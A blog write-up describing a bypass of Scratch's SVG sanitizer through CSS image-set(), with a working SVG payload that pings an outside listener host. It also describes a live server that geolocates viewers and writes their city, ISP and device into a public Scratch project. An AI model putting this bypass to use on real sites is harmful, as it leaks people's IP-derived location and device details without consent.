Scratch -- Get your information!
Soooo....
I was messing around earlier today, trying to get some sort of XSS, or at least blind CSRF, to work on Scratch projects.
Basically, if you aren't already aware, Scratch allows you to upload SVGs as costumes to your project.
This is great for uploading complex images into Scratch while not being limited to bitmap (raster) image's size limit of 480x360. This is because when you fullscreen a Scratch project, suddenly your 480x360 raster images don't look at all high quality. It's basically like watching a 360p video on a 1080p/1440p/whatever screen.
But, as everyone knows, the issue with SVG is that they are, well, prone to vulnerabilities. Mostly injection ones. For example, the SVG spec allows <script> tags inside your SVGs. Nasty, I know.
And, of course, there could be onclick attributes, onmouseover, etc. the list goes on.
It's not just script execution though. An attacker could also trigger a blind SSRF -- meaning they can trigger a GET request to their own controlled server -- by embedding a URL in the SVG, which the browser attempts to fetch as an asset. While this isn't as bad as a full-on XSS, it still has issues where the user's IP address, User-Agent, etc. are leaked.
To mitigate this class of vulnerabilities, Scratch has their own scratch-svg-renderer package in their scratch-editor monorepo.
This, as well as fixing up some issues with imported SVGs to ensure they import cleanly, has a sanitize-svg.js file whose main role is to sanitize the SVG to ensure none of the above can happen.
It does use DOMPurify, which of course makes it much harder to find a vulnerability in compared to a hand-written implementation. I did attempt to cross-reference the package-lock.json with a list of CVEs for DOMPurify, but unfortunately was not able to find anything of value.
Finding a working payload
This is where I started my manual testing phase.
Fun fact! I actually went through 16 whole test payloads until I found one that worked.
After a bunch of trial-and-error testing, I finally found a payload that worked.
<svg xmlns="http://www.w3.org/2000/svg">
<style>
rect {
background-image: image-set("https://xxxx.oast.pro" 1x);
}
</style>
<rect width="100%" height="100%"/>
</svg>
(Yes, I was using an interactsh server to monitor image requests.)
Why does this payload work?
Well, let's start by taking a look at the SVG sanitizer.
This is the final exported sanitizeSvgText function:
/**
* Load an SVG string and "sanitize" it. This is more aggressive than the handling in
* fixup-svg-string.js, and thus more risky; there are known examples of SVGs that
* it will clobber. We use DOMPurify's svg profile, which restricts many types of tag.
* @param {!string} rawSvgText unsanitized SVG string
* @returns {string} sanitized SVG text
*/
sanitizeSvg.sanitizeSvgText = function (rawSvgText) {
let sanitizedText = DOMPurify.sanitize(rawSvgText, {
USE_PROFILES: {svg: true},
FORBID_TAGS: ['a', 'audio', 'canvas', 'video'],
// Allow data URI in image tags (e.g. SVGs converted from bitmap)
ADD_DATA_URI_TAGS: ['image']
});
// Remove partial XML comment that is sometimes left in the HTML
const badTag = sanitizedText.indexOf(']>');
if (badTag >= 0) {
sanitizedText = sanitizedText.substring(5, sanitizedText.length);
}
// also use our custom fixup rules
sanitizedText = fixupSvgString(sanitizedText);
return sanitizedText;
};
It looks fine, and at first glance it doesn't even look like it even strips out any URLs. That's because the code that does it is not visible here.
It's registered as a middleware on DOMPurify here:
const URI_ATTRIBUTES = new Set(['href', 'xlink:href']);
DOMPurify.addHook(
'beforeSanitizeAttributes',
currentNode => {
if (!currentNode || !currentNode.attributes) return currentNode;
for (let i = currentNode.attributes.length - 1; i >= 0; i--) {
const attr = currentNode.attributes[i];
if (!attr.value) continue;
if (URI_ATTRIBUTES.has(attr.name)) {
// Direct URI: strip whitespace and check
if (!isInternalRef(attr.value.replace(/\s/g, ''))) {
currentNode.removeAttribute(attr.name);
}
} else {
// CSS value that might contain url()
const context = attr.name === 'style' ? 'declarationList' : 'value';
if (cssHasExternalUrls(attr.value, context)) {
currentNode.removeAttribute(attr.name);
}
}
}
return currentNode;
}
);
So, as you can see, this does strip out href and xlink:href attributes from the SVG. So an <image href="https://example.com" /> will have its href removed, essentially being a deadweight.
It also checks using cssHasExternalUrls if the CSS has an external URL. That function's implementation can be found in utils/svg-url-helpers.js:
/**
* Canonicalize a CSS string and check it for external url() references.
* Decodes CSS escapes then parses through css-tree so that all syntax
* variations (quoting, whitespace, comments, escapes) are normalized into AST
* nodes.
* @param {string} cssText raw CSS text.
* @param {string} parseContext css-tree parse context: 'value' for a single
* CSS value (presentation attributes like fill, stroke), or
* 'declarationList' for style attributes.
* @returns {boolean} true if an external url() reference was found.
*/
const cssHasExternalUrls = (cssText, parseContext) => {
const decoded = ident.decode(cssText);
try {
return astHasExternalUrls(parse(decoded, {context: parseContext}));
} catch {
// If css-tree can't parse it, conservatively check the decoded text.
// This handles edge cases where creative syntax breaks the parser but
// a browser might still interpret a url() call.
return rawTextHasExternalUrls(decoded);
}
};
This code is, of course, useless without the astHasExternalUrls and rawTextHasExternalUrls functions' implemention.
/**
* Check if raw CSS text contains an external url() reference via regex.
* Used for Raw nodes (e.g. custom property values) that css-tree doesn't
* fully parse.
* @param {string} text raw CSS text to check.
* @returns {boolean} true if an external url() reference was found.
*/
const rawTextHasExternalUrls = text => {
const normalized = text.toLowerCase().replace(/\s/g, '');
const urlPattern = /url\((.+?)\)/g;
let match;
while ((match = urlPattern.exec(normalized)) !== null) {
const ref = match[1].replace(/['"]/g, '');
if (!isInternalRef(ref)) return true;
}
return false;
};
/**
* Walk a css-tree AST and return true if any Url node references an external
* resource. Also checks Raw nodes, which css-tree produces for custom
* property values and other unparsed content that could still contain url()
* references.
* @param {import('css-tree').CssNode} ast css-tree AST node.
* @returns {boolean} true if an external url() reference was found.
*/
const astHasExternalUrls = ast => {
let found = false;
walk(ast, node => {
if (node.type === 'Url') {
const urlValue = node.value.trim().replace(/['"]/g, '');
if (!isInternalRef(urlValue)) {
found = true;
}
}
if (node.type === 'Raw' && rawTextHasExternalUrls(node.value)) {
found = true;
}
});
return found;
};
First, the function astHasExternalUrls uses css-tree to walk through the CSS via an AST parser and checks each node. If the node's type is Url, a.k.a. it's a url('...'), then it returns found. There's also a fallback rawTextHasExternalUrls, which matches the regex /url\((.+?)\)/g. This function matches the text url and returns its contents.
So, in order to craft a working bypass, we have to bypass this regex and the Url node. Which means, in short, we cannot use url('...') anywhere, as that would get flagged.
image-set
After a bit of searching around, I found the CSS image-set function.
The
image-set()CSS functional notation is a method of letting the browser pick the most appropriate CSS image from a given set, primarily for high pixel density screens.
That's the official description from the MDN web docs.
Here's an example of the syntax:
image-set("image1.jpg" 1x);
image-set(url("image1.jpg") 1x);
Notice it supports both url and supplying the image URL directly. This also means that, if we supply the direct image URL, the sanitizer will never see a url and allow the CSS to render.
With this in mind, I was able to get a working payload:
<svg xmlns="http://www.w3.org/2000/svg">
<style>
rect {
background-image: image-set("https://xxxx.oast.pro" 1x);
}
</style>
<rect width="100%" height="100%"/>
</svg>
When I uploaded this to Scratch, I was able to successfully get a hit on the interactsh listener.
How do you get your info?
This brings us to the interesting part of the project.
It's one thing to get a blind CSRF, but it's another to turn that into a project that displays your information.
So, first of all, of course, we need to get the user's information.
This is the information that comes in the HTTP request.
GET / HTTP/2.0
Host: 4b4ced0da988483e15e4gw3g9rwyyyyyb.oast.pro
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: en-US,en;q=0.9,id;q=0.8,ja;q=0.7
Priority: i
Referer: https://scratch.mit.edu/
Sec-Ch-Ua: "Not;A=Brand";v="8", "Chromium";v="150", "Google Chrome";v="150"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Sec-Fetch-Storage-Access: active
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
You also get an IP address; in this case, 104.28.159.47.
What can you do with that? Well, first of all, we can get the user's geolocation and ISP.
We can use any old API, but for this one I'm going to go with http://ip-api.com/ because it has great ratelimits and works without an API key.
We can fetch http://ip-api.com/json/{ip}, and it will return to us a JSON object.
Now since I'm a big fan of type-hinted stuff[1], it might not come as a surprise to you that I opted to make a TypedDict for the API response. (I almost went for a pydantic BaseModel but I didn't want to bloat the code too much.)
class IPResponse(TypedDict):
status: Literal["success", "fail"]
country: str
countryCode: str
region: str
regionName: str
city: str
zip: str
lat: float
lon: float
timezone: str
isp: str
org: str
as_: str
query: str
*(I know, technically, all the fields should be wrapped in Optional[] since they won't be populated on "fail", but this is Python, not TypeScript, it's fine.) *
From here we can get useful information such as the country code, ISP, city, etc.
But we also want to get information about the user's device.
Remember this?
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
Well, it turns out, we can do a bit of nifty parsing with it.
Using the Python ua_parser library, we can parse this string and return information about the device -- e.g. whether or not it is a mobile device, which browser (and version) it is running, which OS (and version) it is running, etc.
Eventually, with all of this, we can get enough information. But this brings us a new question. How do you give the Scratch project your information?
Sending it to Scratch
For this project, I wanted to make it a bit more... accessible. So I wanted it to work without needing cloud variables, or even being signed in! (Also, I was planning on uploading this project to a New Scratcher account, so it's not really like I could use cloud variables normally anyway).
The only way to send data to a Scratch project that is accessible to all users is... well... updating the project itself.
For this, I chose to just update one list in Scratch, with each item being the information from the list.
For obvious reasons, Scratch would only support a list of strings (or maybe numbers? I don't know, I haven't looked into the SB3 format that much).
I ended up with this code:
to_send: list[str] = [
flag,
info.get('city', '') if info else '',
info.get('country', '') if info else '',
os_emoji,
ua.get('os').get('family', '') if ua else '',
ua.get('user_agent').get('family', '') if ua else '',
ua.get('user_agent').get('major', '') if ua else '',
device_emoji,
ua.get('device').get('family', '') if ua else '',
info.get('isp', '') if info else '',
info.get('countryCode', '').lower() if info else '',
]
(The emojis aren't actually used in the project, I only added them because I thought I'd be able to get them to render in Scratch, but I remembered that I can't and just left them in there to preserve the indexes.)
Now we have to fetch the project's JSON, find the list by its ID, and then update its contents.
First, I went into DevTools in Scratch, opened the Network tab, then pressed CTRL + S in the project. I inspected the save PUT request's payload, to see the JSON format of the SB3.
Looking at targets[0] (the stage), I found that targets[0]['lists'] was a dictionary containing an entry with key VLt2,8#:L::MwHwe?XV~. The value of that entry was an array like ["data", []], which I took to mean an array with name data and value [](empty list) and its ID was VLt2,8#:L::MwHwe?XV~.
I tested this further by adding a, b, c to the list on the Scratch editor and saving again, and I saw ["data", ["a", "b", "c"]].
So this confirmed my suspicions.
Next I used scratchattach (a Python API wrapper for Scratch) to update the project JSON.
First, before the app started serving:
session = sa.login_by_id(os.getenv('SCRATCH_SESSION_ID'))
project = session.connect_project(os.getenv('SCRATCH_PROJECT_ID'))
And then, on each request:
jason = await asyncify(project.raw_json)()
jason['targets'][0]['lists'][os.getenv("SCRATCH_LIST_ID")][1] = to_send
await asyncify(project.set_json)(jason)
Note that I am using asyncer to call scratchattach's synchronous functions in an async function, because I didn't want it to be blocking and reduce the concurrent performance of it. Actually now that I think of it it's not like I'd be getting concurrent calls anyway, and even if I was they'd be more likely to just cause race conditions and mess up the project, but.. oh well. I optimized for scalability even though this shouldn't scale.
Finally, we simply have to return a response.
return Response(content='', media_type='image/svg+xml', headers={ 'Cache-Control': 'no-store' })
Note that I'm using Cache-Control: no-store, so that when the browser reloads this page or fetches it again, it will refetch the URL and cause the project to update again, ensuring that it isn't single-use.[2]
Receiving the data on Scratch and rendering it
After I realised there is no way to render emojis on Scratch using a pen text engine (minus the say block, I assume), I decided to just import every country's flag by country code into the Scratch project.
This was surprisingly easy. After not much searching, I found the flag-icons GitHub repository, which I cloned locally (it was fast because it's just SVG, not raster image data), and then I was able to literally just go into Scratch -> New Sprite -> Upload Costume -> navigate to flag-icons local clone directory -> CTRL+A -> upload.
After a couple minutes everything had uploaded.
And even better, since the repository stores flags by their country code, it was incredibly easy to code this up.
No, I'm not lying, it was that easy. Because the IP API already gives us the country code, I just had to .lower() it on Python and add it as item 11 of the data list.
As for the text rendering? That was easy enough as well.
Just had to use Pen Text Engine++ by @-Rex-.
And yeah.. that's about it.
That's the project.
What do you think?
The source code for this is available at https://github.com/uukelele/scratch-yourinfo
The Scratch Project is at https://scratch.mit.edu/projects/1366544853/
Again... see my article on tiangolo. ↩︎
I also had to go into Cloudflare's cache settings and create a custom rule to disable caching for the
/information.svgendpoint, because I found out the hard way that Cloudflare caches things it thinks are static assets whether or not you have aCache-Controlheader on it. ↩︎